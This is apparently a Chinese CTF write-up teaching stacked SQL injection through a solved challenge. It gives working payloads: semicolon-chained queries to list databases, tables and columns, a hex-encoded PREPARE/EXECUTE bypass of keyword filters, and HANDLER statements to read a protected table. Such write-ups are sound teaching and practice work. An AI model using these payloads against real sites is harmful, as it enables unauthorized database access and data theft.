今天刷题又碰到了一个堆叠注入的题目,由于之前接触过一点,看了下自己博客发现没有记录,所以刚好以这个题目为例子来记录下堆叠注入的学习!
对于sql注入来说,对于web狗来说应该是十分熟悉的名词了吧。
今天我们的主角就是sql注入大家庭的一员Stacking Injection(堆叠注入),对于经常使用的sql语句我想大家应该都有所了解,每一个sql语句的结尾都要用分号(;)来结尾,可以这么理解,正常情况下分号(;)就是一个sql语句的结束,举个例子 show tables; 可以看到结果
正常的得到了数据里的表名,但是如果在这一个sql语句后面再写一个sql语句我们能查得到我们想要的数据,或者能做到我们想做到的事情吗?就好比我们再这一个已经完成的sql语句后再加一个sql语句让他执行任意的语句 ,这两条语句就会同时执行,举个例子 show tables; show columns from flag;
看到我们的两个sql语句都得到了执行。
sql语句: show tables;create table ly0n like flag;
后面可以是任意正确的sql语句,都可以被执行,并得到想要的信息。
拿到题目大眼看了一下,通过payload 猜测考点是sql注入
于是就开始了常规的操作,但是在联合查询的时候发现了过滤了很多的关键字
看来是姿势不对,之前看过一些关于堆叠注入的文章,就尝试了一下
构造
1'; show databases;#
得到回显,确认是堆叠注入,然后看能不能得到表名和字段名
构造
1'; show tables;#
得到了两个表名,查下字段
1'; show columns from words;#
1'; show columns from '1919810931114514';#
得不到返回值,很懵,在这蒙了很久
突然想到对数字表名进行操作时要加反引号`
1'; show columns from `1919810931114514`;#
看到了flag然后却读不出来,实在是很无奈,翻阅了大佬们的wp
大佬向我们展示了一手存储过程绕过
';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
成功得到flag!
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
payload
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
文章写的不好,希望大师傅们轻点怼!